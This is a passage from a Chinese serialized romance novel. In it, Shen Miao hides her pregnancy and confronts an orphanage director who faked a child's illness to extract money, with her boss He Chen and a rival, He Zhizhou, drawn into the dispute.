“她是试管怀上的,你呢?怀的哪个野男人的?沈渺,我一直觉得你是拎得清的,没她那么冲动,谁知道你也感情用事!是被渣男抛弃了还是忍气吞声想把孩子生下来,挽留人家?感情狗屁都不是……”
浅姨毕竟是看着沈渺跟商音长大的。
商音开放大胆,没有男人搞试管,做冲在时尚前沿的新时代女性。
沈渺不一样,她性子安稳成熟,干不出那种事情来。
所以浅姨断定,她是有过男人,怀上的这个孩子。
可她要跟商音一起离开景别,足以见得沈渺跟那男人掰了。
她于心不忍,留下这个孩子。
“这是我的事情。”
沈渺冷眼看着她,下最后通牒,“我给你三天的时间,让卷卷回到学校上学,把我和商音的钱还回来。”
她将牛皮纸袋交给了浅姨,“这只是复印件,证据全都在我手里,你若不按我说的办,这些东西将会作为证据,上交法院。”
沈渺心里对浅姨的最后一丝包容和好感,在此刻殆尽。
她转身离开。
浅姨追上她,“不是,沈渺,那二十万我不要了还不行吗?之前的钱就留给孩子们……”
沈渺进入电梯,电梯门合上。
浅姨没敢进来,她的话被电梯门隔绝开,那副无耻的样子,也被隔开。
隔开后,浅姨看似知道错了的脸色,也一瞬间变了。
她拿出手机拨出一通电话去,“坏了,沈渺知道了,你可得帮帮我……”
“谁让你贪心,又要二十万呢?”
那端传来声音道,“事情你自己解决,我不管。”
“你,你不管我就把你供出来……”
浅姨威胁道。
那端静了几秒,传来对浅姨祖上的问候。
骂了两句,那人才说,“我他妈怎么管?”
“沈渺要告我,你帮我摆平。”
“你活该,有本事你就把我供出来,反正我也不怕跟沈渺翻脸!”
浅姨的威胁,在那端人眼里,根本没有一丝的作用。
电话被挂断,浅姨面如死灰。
——
电梯上了人,沈渺被挤到角落。
而后还在不断上人,人越来越挤。
她双手护着肚子,原本心神不宁的,愣是被挤得回了神。
“没事吧?”
头顶突然灌下来一道声音。
她抬头看去,才发现站在她前面的人,是张科研。
张科研替她挡住了左边的人。
“谢谢,没事。”沈渺强行打起精神来,扯出一个笑容,“好久不见。”
“知道你最近事情多,所以我没有打扰你。”
张科研早晚问候的消息,停了一段时间了。
沈渺跟何之洲的绯闻传出来后,被停职,面临被开除,又变成调职。
这些张科研都知道,他是听吴蕾说的。
“你……要被调职了吗?去哪里?”
沈渺摇头,“还不知道,但肯定不在京北。”
张科研欲言又止。
电梯门开了,人一哄而散。
沈渺跟张科研先后走出电梯,一同朝医院外面走去。
走出医院,那股令人不适的窒息感褪去一些。
可沈渺心情还是很不好,她掏出手机叫网约车。
“沈渺,我对异地恋也能接受。”
张科研一直在她不远不近处跟着。
见她停下来,找到机会再度开口。
沈渺眼皮一掀,毫不犹豫道,“可我介意。”
张科研:“……”
“我觉得我已经跟你说得很清楚的,你别在我身上浪费时间了。”
沈渺没心情跟他扯这些。
她又低下头继续叫车。
张科研,“我不觉得这是浪费时间,我愿意为了一段我认为值得的感情付出时间和精力,我也愿意……”
“你愿意喜当爹吗?”
沈渺耐心被耗尽,她抬起手覆在小腹上,将松垮的衣服贴合到肚子上。
凸起的轮廓一下就显形了。
张科研瞳仁一颤。
137.背着我干什么事儿了?
“你……有男朋友?”
张科研面露不解。
若沈渺真的有男朋友或老公,怎么会相亲?
她应该在他第一天决定追求她的时候,就告诉他。
沈渺语塞。
她没能第一时间回答上来张科研的话。
张科研迟疑片刻,面色恢复如常,“抱歉,没给你带来什么麻烦吧?”
他指的是他这段时间早晚的消息问候,还有公司那些传闻。
有没有被她肚子里孩子的爸爸知道。
“不好意思,冒昧了一下。”沈渺微颔首。
她也是被浅姨的事情气狠了,心情跌落谷底。
实在没有心情,一下口不择言。
说了自己怀孕倒没什么,毕竟张科研跟贺忱零接触。
但她的语气和态度,算不上好。
“不会。”张科研往旁边站了站,拉开两人的距离,“我来接我妈出院,他们还在等,我就不多说了。”
沈渺再次颔首。
两人在医院门口分道扬镳,一东一西。
沈渺回到住处,商音还在睡觉。
她带着商商玩儿到该吃午饭了,商音才爬起来。
商音一屁股坐到沙发上,头靠着沈渺的肩膀,伸手把沈渺怀里的商商揽过来。
“儿子,这么下去你会不会对你干妈比亲妈还要亲啊?”
商商在他怀里咿呀了两声,说着‘婴语’。
沈渺笑看她,“我带他再多,他也是会跟妈妈亲的。”
“我可不是不让他跟你亲的意思,我恨不得他只认你不认我,这样以后你就在家里带孩子,我负责赚钱和吃喝玩乐。”
商音对商商的稀罕,仅限于商商听话的时候。
一旦商商开始捣乱,商音的耐心很快就会失去。
沈渺冷嗤了一声,重新把商商接过来,“快点去洗漱,马上吃午饭了。”
商商还是认妈妈的,被抱过来哼唧了两声。
可怜的小眼神眼巴巴看着商音,小手挥舞了下。
“先跟干妈玩,老妈去刷牙洗脸,等下带你吃饭饭哦~”
商音捏着嗓子柔柔地说完,起身去洗漱。
十分钟后,几个人移步到餐桌。
“昨晚遇上了一个豪气大哥,我就唱了首歌,给我打赏了一个大灰机。”
商音讲起昨晚直播的粉丝豪横画面。
她是才艺主播,唱歌好听,每天晚上唱一场推一下卖货,有时候再打打广告。
一个月收入好的时候能达到六位数。
“是吗?可惜了,我没看到。”
昨晚沈渺困得厉害,提前一步去睡了。
商音也就比她晚睡半个小时,收个尾居然还能收到这么大的礼物。
“改天那个粉丝再来,我告诉你。”
商音朝她眨眨眼,“不知道长得帅不帅,听声音是北方人,说话豪横。”
沈渺,“你在哪儿听到人家声音了?”
“加了微信。”商音挠了挠头,“这大哥说是我忠实粉丝,在直播里要加我微信,我不好拒绝。”
她有一个专门的工作号,用来加粉丝的。
“你小心一些,别聊得太过火,别上头。”
商音这人看着精,其实又冲动又傻。
沈渺有些担心她被骗。
“放心吧,我心里有数,都是用官腔方式跟他们聊聊拉倒,过不了几天就不聊了。”
商音挥着手,一脸不在乎。
下午,两人带商商出去逛了一圈,晚饭前才回来。
晚餐桌上,沈渺憋了一下午,忍不住问商音,“你是不是背着我干什么事儿了?”
她这话一出,商音的手一哆嗦。
筷子掉落砸在碗上,清脆的瓷器碰撞声音蔓延开来。
“说吧,到底干什么了。”
沈渺双手抱臂,她面色渐渐严肃起来。
她是个藏不住事儿的人。
浅姨那事儿,她还没想好怎么跟商音说。
商音要是知道卷卷没生病,能拎刀去孤儿院‘宰了’浅姨。
每次她想藏事情,商音都能看出来。
可今天,商音非但没看出来,连卷卷生病,医药费的事情都不提了。
直觉告诉沈渺,商音比她还不对劲。
“我,我能有什么事情瞒着你。”
商音嘴硬,脸都快扎到饭碗里去了。
沈渺细眉一拧,一脸严肃,“快说,事情跟卷卷的病有关系吧?你是不是也查到了什么?”
“我就是想说,卷卷的医药费你就别担心了,我有钱,你的钱留着养孩子就行了。”
商音放下筷子,老实交代了。
可她还没交代彻底。
沈渺又问,“你哪里来的钱。”
她对商音的存款了如指掌,就差不精确到元角分了。
二十万,她手里也就只有一半。
“我借的。”
商音支支吾吾半天,吐出三个字。
沈渺想到什么似的,笃定道,“该不会是管昨晚那个挺豪横的大哥借的吧?”
“……”商音猛地朝她看过来。
那惊讶的眼神似乎在说:你怎么知道的?
沈渺眉头拧得更深了,“你管粉丝借钱?要是被曝光,你的名声就完了!”
“那大哥人挺好的,北方人都豪爽,我跟他说了卷卷生病的事情,人家理解我也是走投无路了!”
商音知道这样做不好。
但她不想让沈渺为难,又做不到对卷卷见死不救。
“你已经把钱打给浅姨了?”
沈渺拿过手机,作势就要给浅姨打电话。
商音把她的动作摁下,“钱我昨天晚上就打过去了。”
昨天晚上她下播管大哥借了钱,立马就给浅姨打过去了。
她还叮嘱了浅姨,别再管沈渺要钱,告诉沈渺是她自己筹到钱了。
结果——
沈渺眼前发黑,她有些摇摇欲坠,靠在椅背上缓了下。
昨晚商音就把钱打给浅姨了,可是浅姨今天早上还在跟她要钱!
“没事的,再给我两个月我就把那钱还上了,你这儿还有点积蓄,留着生个孩子用,以后得我再赚……”
商音见她脸色苍白,走过来轻拍着她后背,“真不用担心,那大哥是好人。”
“你现在赶快去把钱要回来,卷卷根本没有生病,浅姨在骗我们,她怕我们走了以后不再管孤儿院了。”
沈渺无奈的解释。
商音怔了几秒,眼睛大了小小了又大,猛地骂了句,“卧槽!”
“我给了她三天的时间,让她把那些钱都还回来,让卷卷回学校上课,不然我就报警。”
沈渺有些着急,“所以卷卷生病的事情,根本不存在,你借钱的由头就是假的,要是被曝光就完了,快去把钱要回来还上!”
138.一波未平一波又起
商音铁青着脸,给浅姨打电话。
可电话没有人接。
沈渺跟着她打,半个小时打了不知多少通电话,一个接一个地打。
窗外下起瓢泼大雨,初夏的燥热被浇灭。
可沈渺的心里越愈发的惴惴不安。
她总有一种自己是温水煮青蛙里的青蛙的错觉。
总觉得水温在一点点加热,有股很深的危机感。
可是冷静下来,又觉得水温并不烫。
雨下的急又大,阻挡了她们想去孤儿院找浅姨的道路。
偌大的京北被瓢泼大雨笼罩。
雨水打在落地窗上,将男人的倒影一遍遍冲刷。
却怎么也冲刷不掉他身上那股低沉的气息。
深夜十一点,贺忱给林昭打了一通电话。
“让你查的事情,怎么样了。”
距离三天期限,只剩下明天一天了。
以往让林昭办事,他总会提前一天办好。
可这次——
林昭今天躲了不知多少次,专门挑着有人在的时候来给贺忱送文件。
就怕跟贺忱单独相处。
谁知,躲不过贺忱打给他的电话。
“贺总,事情……有些复杂,比较棘手,毕竟是很久之前——”
‘啪’
贺忱把电话挂了。
一股威压袭来,林昭吞了吞口水。
口水还没吞下去,手机又响一声,是贺忱发来的消息。
提醒他明天再没有结果,他就滚出公司。
林昭面如死灰,他开始提前演练,组织措辞,想出无数种明天贺忱的反应,他该怎么应对。
会不会像那晚,再拿一纸抚养协议书,去找沈渺?
可真的要乱套了……
但是转而一想,他空口说这孩子是贺忱的,可又没有十足的证据。
万一沈渺不承认,或者孩子确实不是贺忱的,他岂不是又给添乱了?
临到跟前了,林昭才觉得自己为‘万一’做个准备。
他立刻命人去医院,调查沈渺所有产检资料,看有没有办法,确定这个孩子是贺忱的。
次日一早,一份详细病历档案电子版,被发到了林昭邮箱。
秦川给沈渺做羊水穿刺,做了两个报告。
一个是产检风险评估,一个是亲子鉴定。
他虽然只给了沈渺产检风险评估,可亲子鉴定的记录在电子档案中,是可以查到的。
林昭只看了一眼,眼前一黑。
这孩子,真的是贺忱的!
可沈渺怎么会做亲子鉴定?她难道还不知道孩子是谁的吗?
或者说,跟贺忱在一起的前后,沈渺有过别的男人?
林昭眼前又一黑!
他猜不透的事情,只能听天由命,交给贺忱自己想了!
雨停了,可天色阴沉沉的。
林昭如壮士赴死般,开车直奔百荣……
——
“何总,沈小姐这边有情况。”
与此同时,何之洲接到了医院的电话。
何之洲最近忙的底朝天,他阻止了沈渺被安排在秦川手下后,就没再过问过医院那边情况。
程家出面,医院不愿意得罪人,按照程唯怡的吩咐做了,夹在中间为难,开始装死。
可现在事情闹得有些大,怎么连贺家的势力都掺杂进来了?
所以院长立马给何之洲打电话,一五一十的说了。
“你个王八蛋,这么大事情不早点告诉我!”
何之洲一听说沈渺被安排到秦川手底下,还在不知情的情况下被做了亲子鉴定,破口大骂。
骂完了,依旧难消他心头的怒火。
“今年别再想让我给医院捐一分钱!”
“何总,我……我实在是不敢得罪,我也不知道事情这么严重啊!”
院长看过了档案,吓得快尿裤子了。
谁知道一个秘书,能捅出这么大的篓子,竟然怀上了贺家继承人的孩子!
“你把那档案发给谁了?”何之洲问。
院长忙说,“贺总的助理,林昭。”
“那他妈贺忱的铁狗腿子,你要完了,贺家要是乱套了,你的医院就等着高楼变平地吧,你找死我可不拦着,但你要是敢把我供出来,我弄死你!”
何之洲最近还忙着相亲,他父母以死相逼让他务必在今年年底找到老婆结婚。
他起初以为老两口是想抱孙子了,后来听他们谈话才知道,又是贺忱的手笔。
他拿一块地做交易,只要年底他结了婚,贺忱就让那块地给九洲。
“何总,何总救救我!”
院长哀呼求救的声音,被冰冷的忙音打断。
何之洲把电话挂了。
他气得双手叉腰,站在办公室里来回踱步,却想不出办法。
要不要告诉沈渺,让沈渺跑?
他脑仁一阵痛,到底还是掏出手机,给沈渺拨了一通电话。
“沈渺,我有很重要很重要的事情要跟你说,见个面,怎么样?”
沈渺一晚没睡好,此刻正在去孤儿院的路上。
“我没时间,孤儿院那边有情况,我得过去看看。”
她声音疲倦,有气无力的。
闻言,何之洲立马说,“那我去孤儿院找你,不见不散!”
说罢,他挂了电话。
离开九洲之前,何之洲又发出一条消息去……
——
沈渺跟商音都一晚上没怎么睡。
“你说,我要是给她两巴掌,我犯不犯法?”
商音坐在副驾。
她太焦躁了,沈渺怕她开车不稳妥,所以干脆自己开。
沈渺看她一眼,“重要的是先把钱要回来。”
“我要完了打呢?”商音揉着手心,“我手心痒得厉害,不打她我难消心头之愤!”
“那你打吧,做好了被抓,好几天见不到商商的准备。”
沈渺觉得,她们跟浅姨的关系因为这件事情,已经成冰了。
昨天她的话重,又是法院又是报警的,算是撕破脸了。
商音要真打了浅姨,浅姨一定不会顾念情面。
她本身就她们,没有情面。
“那就改天,我找个没有监控的地方,找个塑料袋把她头套上,让她看不到是我,然后狠狠地揍她一顿。”
商音对浅姨的不满,比沈渺还多。
因为她性子一直火爆。
“别冲动,先把钱要回来再说。”
沈渺脚底的油门又踩深了些。
她心底的不安,越来越浓。
总觉得,有什么大事要发生。
半小时后,孤儿院。
沈渺刚停好车,何之洲的车也停下来了。
139.你真是煞费苦心!
“他来干什么?”
商音这人好面子,有外人在,她撒不了泼。
沈渺都没把何之洲那句‘不见不散’放在心上。
随着何之洲的出现,那四个字涌入她脑海。
她与商音说,“你等我几分钟。”
“我先进去了。”商音等不及了,“反正你别让何之洲进来。”
不等沈渺回应,商音已经抬脚进入孤儿院里面。
沈渺不放心商音一个人去,她怕商音真动手。
“你有事吗?”她快速问何之洲。
何之洲的目光却是紧随着商音的身影。
“你们……看起来脸色都不是很好,是不是为了卷——”
沈渺打断他,“说你的事情,我着急。”
何之洲张了张嘴,到嗓子眼的话变成了,“那,你先去,我等等……哎,我,我……
他吞吞吐吐的,话都连不成一句。
沈渺转身就走了,依稀听见房间里已经传来争执声。
好在商音还算有分寸,把浅姨拉到厨房,没当着孩子们的面。
沈渺推开门进去。
浅姨那震天响的嗓门,迎面而来。
“你们要干什么?逼死我吗?我这些年为了孤儿院容易吗?我就是好人没好报,让你们这么咄咄逼人,不就几十万块钱吗?要钱没有,要命一条,你们杀了我吧,杀了我啊!”
商音想过无数次,浅姨蛮横无理不肯把钱还回来的嘴脸。
可这般无耻让她始料未及。
“你他妈是人?我和沈渺欠你的是吧?这辈子你是不是要赖上我们了啊?我告诉你,今天你要不把钱还回来,我现在就带你去警局!”
商音下不去手,她薅着浅姨衣领,拽着浅姨往外走。
沈渺将门打开,让出位置。
浅姨个子小小的,很瘦,挣扎了半天抵不过商音力气大,被拽得潦倒着出了厨房。
“行啊,带我去警局,让这些孩子都死在屋子里好了!”
浅姨边挣扎边说,“你们忘恩负义,白眼狼!过河拆桥,忘了那时候我怎么把你们拉扯长大的……”
“闭上你的乌鸦嘴,我们有的是办法安置孩子们。”
商音从口袋里掏出一团纸,直接塞到浅姨嘴里,堵上浅姨喋喋不休的话语。
浅姨的谩骂变成‘呸呸呸’。
沈渺跟在她们后面,她见商音气的脸色煞白,低声劝说,“先让她把昨天的二十万拿出来。”
当务之急,是让商音先把豪横大哥的钱给还了。
“她不给!”商音一想到浅姨理直气壮说‘没有’时,心头一万只草泥马奔腾而过。
沈渺看着一脸‘视死如归’,要钱没有要命一条的浅姨,气凝。
“那二十万是音音管粉丝借的,万一被有心人拿来说事,音音的前途都毁了。”
她拿下浅姨嘴上的纸团,“她赚不到钱,我养他们母子,但我们再也没有钱给你了。”
浅姨淬了两口,挣脱开上瘾的手,擦了把嘴。
“冠冕堂皇的话谁不会说?闹成这样你们以后肯定不会再掏钱!”
商音气得脑仁直突突,上前来就要动手。
沈渺拦住她,扭头看向浅姨,“我说过,你的行为是犯法的,如果我们报警,这钱你不给也会被强制拿出来,而且你还得坐牢,孰轻孰重你自己掂量。”
浅姨展平被扯乱的衣服,眼珠子提溜转。
“你们要告我,确定能告得动我背后的人吗?我可告诉你们,他是大人物,能帮我疏通医院关系,你们惹不起的!”
浅姨背后有人,沈渺早就猜到了。
她将先前给孤儿院捐款的为数不多的人都猜了一个遍。
但那几人都不具备让京北第一医院帮着演戏的能力。
“来,你说说,我听听是哪个孙子跟你狼狈为奸,干这种不是人的事儿!”
商音撸起袖子,双手叉腰,横眉冷眼地看着浅姨。
浅姨却是不敢说,“总之你惹不起,你们两个要是识趣就赶紧走吧。”
“我呸!断子绝孙的玩意儿,老娘惹不起也……”
商音气性上来,出口成脏,骂得一句比一句脏。
不远处突然传来一道声音,“你们吵架就吵架,骂人干什么?”
这声音打断商音的骂声。
沈渺抬眸,循声望去。
却见何之洲脸色有些微妙,从车上下来,目光虚飘地往这边走。
“把她送警局去,都解决了,想那么多干什么?”
他出主意。
浅姨脸色微变。
商音松开叉着腰的手,再一次拉住浅姨。
她倒不是听何之洲的,只是在何之洲面前放不开,不好意思骂了。
她想带浅姨回房间,再给最后一次机会。
谁知,她刚碰到浅姨,浅姨就像脱缰野马似的,‘噌’一下蹿到了何之洲身后。
“就是他给我疏通的医院关系,他还给卷卷办了病房,整个医院都听他的……”
“你,你别乱说,老巫婆!”
何之洲立马拉开跟浅姨的距离,时不时撇一眼沈渺的脸色。
沈渺定定看着他,清可见底的目光渐渐涌上来沉色。
“音音,你带浅姨回房间。”
她盯着何之洲,却是跟商音说话。
何之洲不会无缘无故卷进来。
而跟他能扯上关系的,便是沈渺。
这件事情,已经不再是她们跟浅姨之间的问题。
商音拽着浅姨就走。
不是去警局,浅姨不挣扎,她把何之洲供出来,何之洲看她的眼神都能杀人了。
她乖乖跟着商音就走了。
孤儿院的院落不大,周围空旷,空旷清新的空气,在一瞬间变得逼仄。
何之洲尤为感觉明显,他动了动僵硬的脖子,想解释。
却不知从何解释。
因为贺忱调查沈渺怀孕的事情,他慌了神,忘了这茬,否则怎么会送上门来……
“为了不让我离开京北,为了你还能亲眼见证这场戏,何之洲,你真是煞费苦心!”
沈渺怎能不知道,何之洲这么做的目的呢?
她心寒地看着何之洲。
“不是,这件事情我也是半路才插手!你听我解释……”
何之洲急急解释着。
浅姨虽然买通不了整个医院,但她买通了一个儿科医生。
可一个医生能力有限,他们原本的计划是按照白血病来治,化疗的钱要真交给医院。
浅姨只能落地做手术的钱。
孩子虽然不用化疗的药,但每天都要扎针,会很痛苦。
何之洲帮他们解决了给卷卷真扎针的问题,顺便还疏通其他部门,把检查报告弄得更逼真。
140.沈渺找了更厉害的靠山
主意不是何之洲出的。
但何之洲顺水推舟,圆满了漏洞百出的计划。
但就算如此,还是没瞒过沈渺。
何之洲其实没想到,沈渺会真的因为一个毫无血缘关系的小孩,掏空积蓄,真的留下来。
知道沈渺真的交了钱的那一刻,他的内心是复杂的。
现在事情败露,他的心情更加复杂了。
“对,对不起啊,我……”
“何先生的道歉,我受不起,我只是个小人物,在你们有钱人眼里就是一个玩具,能给何先生带来一点乐子,是我的荣幸,接下来何先生要做什么、说什么,都不用管我的死活,只要你开心怎么都行。”
沈渺打断何之洲的话。
她穿着黑色长裙,身型依旧纤细,站在偌大的院子里,一阵风吹过长发散乱。
看似平静,但人都快碎了那般,化成无数的玻璃渣,全都刺入何之洲的心脏上。
何之洲脸色前所未有的正经,他呼吸一滞,那股痛意涌出温热的液体,像是把他心脏刺穿血流成河一样的难受。
他还想说些什么,却又无言以对。
沈渺转身朝屋内走去。
商音正跟浅姨僵持着,她手里拿着浅姨的手机,让浅姨把钱现在转回来。
“把二十万还给音音,以前的,我们不要了。”
沈渺把房门关了,反锁上,“不然我们三个就在这间屋子里耗着。”
她拉过一把椅子,坐在房间门口。
“凭什么不要以前的?”商音不乐意,“一分都不能少的全都给我退回来!”
“没有!”浅姨眼睛一瞪,“一分都没有!”
看她这态度,商音又开始上头,“你这么自私无耻,哪里来的善心管孤儿院?我看你就是披着羊皮的狼,这些年我们给你打的钱,你不会都自己花了吧?”
不论她怎么说,浅姨都一声不吭。
平日里咋咋呼呼,最让浅姨头疼的,是商音。
今天,不知怎的,沈渺坐在椅子上一声不吭,却存在感极强。
浅姨每看她一眼,心都要沉上一沉……
——
百荣顶层总裁办。
林昭站在贺忱办公桌前,心被提到嗓子眼。
贺忱正在看他调查的一堆文件资料,越看眉头皱得越深。
“我要的东西呢?”
他将资料翻到最后一页。
文件详细记录了沈渺怀孕那个月的一举一动,连她早上吃了什么都查到了。
唯独没有这个孩子是怎么怀上的。
不知情的,还以为沈渺的肚子是被空气干大的,身边连个男人的鬼影子都没出现过!
“晚上她回到家里,实在是查不到。”
林昭面如死灰,“抱歉贺总,是我没用。”
‘啪’的一声。
贺忱将文件丢下,扯了扯领带,面色沉得能滴出水来。
等了三天,等来一句实在查不到。
“贺总,您要是真想知道,不妨把沈秘书喊过来问问。”
林昭试探性的提议。
贺忱一个刀子眼投来,“怎么问?”
问沈渺为什么怀孕了不说?
身为上司倒是可以这么问。
可他有资格问,这个孩子是谁的吗?
“要,要不我去给您问问?”
林昭想不明白,贺忱又不知道他跟沈渺睡了那一晚。
他如今也快跟程唯怡结婚了。
何必非要弄清楚,沈渺肚子里的孩子,是谁的呢?
“滚。”
贺忱薄唇轻启,吐出一个字。
林昭身形微动,却没走,又问,“您是让我滚出公司,还是滚出办公室?”
“滚去问。”
贺忱眸色森冷,面色薄怒。
林昭扭头往外走,离开贺忱办公室后,他先掏出手机给何之洲回了个‘OK’。
虽不知何之洲怎么知道他们在调查沈渺怀孕事情的。
但在他进入贺忱办公室前,何之洲突然给他发来消息。
沈渺肚子里的孩子,果然是贺忱的。
这件事情捅破了,天都能漏。
何之洲放下身份,使出浑身解数,给林昭分析这事儿若让贺忱知道,百害而无一利。
林昭晓之以情动之以理。
也保自己命。
伴君如伴虎,贺忱的情绪直接影响到他。
走一步看一步。
回了何之洲消息后,他给沈渺打电话,但响了没几声,就被沈渺挂了。
他再打,沈渺又挂。
很快沈渺回了消息:抱歉,我在忙,你有事发消息。
沈渺不上班,在忙什么?
林昭派人查了下,将浅姨牵扯到的那一堆事儿,全查出来了。
他思来想去,又去了贺忱办公室一趟。
“现在沈秘书跟商小姐跟孤儿院院长僵着呢,要那笔钱。”
贺忱握着笔的手青筋凸起,他面色阴郁。
“这种事儿该怎么做,还要用我教?”
林昭迟疑片刻,二话不说扭头就走。
他想他懂了贺忱的意思。
但五分钟后,贺忱上了他的车,要跟他一起去孤儿院时。
林昭又不懂他什么意思了。
一路上,逼仄的车厢里气息一压再压。
贺忱坐在副驾驶,修长的双腿微敞屈膝,一抹阳光笼罩在他下颚处。
那双深邃锐利的眼眸在光线昏暗处,令人琢磨不透。
片刻,车在孤儿院门口停下。
林昭熄火下车,整理了下西装,回头看了眼贺忱。
贺忱没有下来的意思。
但他那双鹰隼般的眸,极具穿透性地凝着孤儿院。
林昭吞了吞口水,率先朝房子里走去。
隔着窗户,隐隐看清哪间屋子里有人,他朝哪间房子走去,敲门。
平日里,孤儿院不会有人来。
门内,沈渺正双手抱臂养精蓄锐,被敲门声惊了下。
“谁?”商音立马站起来,警惕的看着门口。
她担心是何之洲的人来,给浅姨撑腰的。
扭头看到浅姨一脸懵,她又将疑惑的目光投向沈渺。
沈渺站起来,隔着门窗往外看,看清楚是林昭时,她面色划过一抹惊讶。
什么事,让林昭找到孤儿院来找她?
她挪开椅子,将反锁的门打开。
“林助。”
林昭朝她颔首一笑,算是打过招呼,然后拎着公文包进门。
“沈秘书,贺总知道您有难,特意让我过来,这里是律师拟定的起诉文件,对方若拒不归还您和商小姐的钱,可以用法律的形式保护自己,孤儿院您也放心,贺总会安排好……”
白纸黑字,看不清的条款列了好几页。
浅姨只瞥了一眼,就一脸菜色了。
她背靠‘何之洲’,可何之洲根本不会保她。
但眼下,沈渺找了更厉害的靠山来啊!
141.沈渺,你是不是有事情瞒着我
浅姨此刻有多慌。
沈渺就有多凌乱。
她复杂的眼神看向林昭。
林昭面色平静,与她对视几秒,将文件交给她,“沈秘书,东西交给你了,贺总在外面等着,你尽快处理好出来。”
贺忱也来了?
沈渺眼皮突然跳了下,连带着她眼尾都细微抽着。
“知道了,谢谢。”
她下意识接过文件,道谢后目送林昭离开。
商音眼睛瞪得溜圆,目光落在林昭背影上,仿佛要把林昭盯出一个洞来。
“东西在这里,你自己看吧。”
沈渺把文件放在浅姨面前,“给你五分钟的时间思考。”
浅姨拿过文件翻看,确认文件的真实性。
全都是真的,而且这律师很专业,抠字眼将她的行为往更高的罪名上推。
五分钟后,沈渺跟商音从屋子里出来。
“你先拿这二十万,赶紧把粉丝的钱还了。”
沈渺交代着商音,“我去看贺忱找我干什么,你等我的时间办这事儿。”
浅姨先将二十万还了,其他的要等两天。
商音眼珠子提溜转,朝孤儿院门口的劳斯莱斯里看。
“贺忱找你干什么?他怎么知道咱们……不对,是你有难了?他帮你,什么意思啊?”
一连三个问题,沈渺只能答上来一个。
“调查浅浅生病的事情,我找了秦医生帮忙,秦医生能力不够,是他找的贺忱。”
但按理说,查完了浅浅生病,贺忱不应该再继续关注这件事。
沈渺抬手,捏了捏眉心,却捋不清脑袋里杂乱。
“你调职的事情迟迟没有下落,他不干正事儿管起闲事儿来了?”
商音嘀咕着,“他该不会是还不想让你走吧?”
沈渺跟她边往外走边沟通,“什么叫还不想?以前是事出有因,现在是还没想好我的去处。”
调职的事情来得突然,想把她调到一个长久发展的地方,要考虑很多因素。
这件事情墨迹,沈渺虽急但理解。
“那你去吧,有情况随时喊我。”
两人在孤儿院门口停了下,商音一步三回头地叮嘱。
像是沈渺上了贺忱的车,就下不来,连人带肚子里那个,都会被贺忱带走一样。
“去吧。”沈渺汲气,转身朝贺忱的车走过去。
上车之前,她又长长地舒一口气,然后才开车门。
车门被缓缓打开,与此同时,林昭在车上下来。
留给他们独处的空间。
这一幕,让沈渺想起贺忱带着结婚协议书来找她那天。
在她家楼下,也是在他的车上。
车门打开,男人坐在后座,薄唇以上被阴影笼罩,令人摸不透他眼底的情绪。
可那双具有穿透性的眼眸,直直落在沈渺脸上。
车门关上,逼仄的空间更为狭窄。
男人身上淡淡的沉香味袭来,一瞬将沈渺笼罩。
恍惚片刻,沈渺回过神,她已经在车内了。
顶灯开车,车厢里一片昏黄的灯光。
她缓缓回头,视线撞入贺忱那深潭般的眸子里。
“贺总,谢谢你啊,又因为这些小事麻烦你了。”
“这算小事,那什么算大事。”
贺忱嗓音沉冷,带着几分质疑和探究。
几十万,她这几年来所有的积蓄,在她看来是小事?
那怀孕是大事吗?
他的不虞,迎面扑来。
不知道的,还以为浅姨拿走的是他的钱。
沈渺轻咬了下内唇,她犹豫了下说,“调职算大事,贺总考虑好了吗?”
“你似乎很急着离开。”
贺忱凝着她,“而且,你有着非离开不可的态度。”
一片死寂。
他的话太直接果断,沈渺想否认都否认不了。
“因为没有必须留下的必要。”
她声音轻轻的,却很坚定,“贺总难道觉得,我给您和程小姐添的麻烦还不够?”
最近,程唯怡是消停了一些。
可暴风雨来临的前夕,是宁静的。
她就是程唯怡的眼中钉,程唯怡不拔是时候不到。
她不走,是不识趣。
沈渺的借口很多。
唯独没有怀孕这个理由。
贺忱至今还在怀疑,她真的怀孕了吗?
这个女人,藏得太深了。
这种明明不用藏着的事情,她藏起来,就是有鬼。
“沈渺,你是不是有事情瞒着我。”
他变相地敲打着她,“我眼里容不下沙子,你最好是老实交代。”
沈渺喉咙一紧,宛若堵了棉絮。
她定定看着他,清可见底的眸色,被他深沉的眼眸渲染上一抹慌乱。
“我……”
他是不是知道什么了?
沈渺做好了这一刻来临的准备,可真到了这一刻,她还是不可避免地慌了。
抚养权协议书,她给了孩子好的生活环境,她争不过他。
那晚他深夜敲她家门的情景,历历在目。
‘咚咚咚’。
突然有人敲响了车玻璃。
令人齐齐朝窗外看去。
林昭面色焦急,他指了指他正在接通的电话。
贺忱将车窗落下一条缝隙。
“贺总,程夫人突发疾病住院了,明董和程小姐给您打了很多电话,都没打通。”
林昭此刻还在接明黎艳的电话。
明黎艳的声音透过话筒传来,“让他赶快来医院一趟!”
“给秦川打电话,让他先过去看看。”
贺忱沉声吩咐着林昭。
林昭回应完了明黎艳,又立马去给秦川打电话。
这端,沈渺反应过来,打开车门下去。
她站在车外,朝贺忱颔首,“贺总,您忙,我就不打扰了。”
贺忱转过头,微眯起的长眸如注般盯着沈渺的身影。
沈渺身形笔直朝商音的车上走去。
商音在后视镜看到她过来,发动引擎准备带她走。
劳斯莱斯比他们先一步离开,消失在飞速离开的尾气中。
“不是,谈什么谈的这么不愉快,他都想把咱们甩下十万八千里了。”
商音问刚上车的沈渺。
沈渺系安全带,“程唯怡她妈生病住院了。”
“那这是得着急。”商音咂咂嘴,“婚期在即,程唯怡她妈要是出事,怎么也得守孝三年吧,不过那么年轻,应该没事吧。”
沈渺摇头,“不知道,听说孙家那边有遗传病,具体情况不清楚。”
孙易琴娘家有遗传病这事儿,鲜为人知。
她是听明黎艳说的。
“那他找你干什么啊?”商音踩下油门问,“是不是调职的事情,有下文了?”
142.程家以此为借口,要把婚期提前!
“没有。”
记不清楚这是商音第多少次问了。
但沈渺的回答,都如出一辙是这两个字。
商音‘哦’了一声,虽然心头感慨但习以为常。
怎么说呢,她觉得沈渺离开这事儿,就像唐曾西天取经。
经历九九八十一难,最后了还得再让老王八坑一下。
但一关又一关,总有闯完的时候。
说不准,明天就有信儿,后天就走了。
“你把钱还了吗?”沈渺不再想贺忱。
那男人,她从始至终都没有看透过。
商音表情有些微妙,“我把钱给他转过去了,他没收,说想请我吃饭。”
沈渺拧眉,“意思是,要见面?”
“是。”商音也头疼,可她尽量往好的地方想,“他这么轻易借给我钱,也不怕我是骗子,说话挺爽快的,可能就只是想见面而已。”
沈渺,“你答应了?”
商音摇头,“我说最近很忙没时间,他说等我不忙了。”
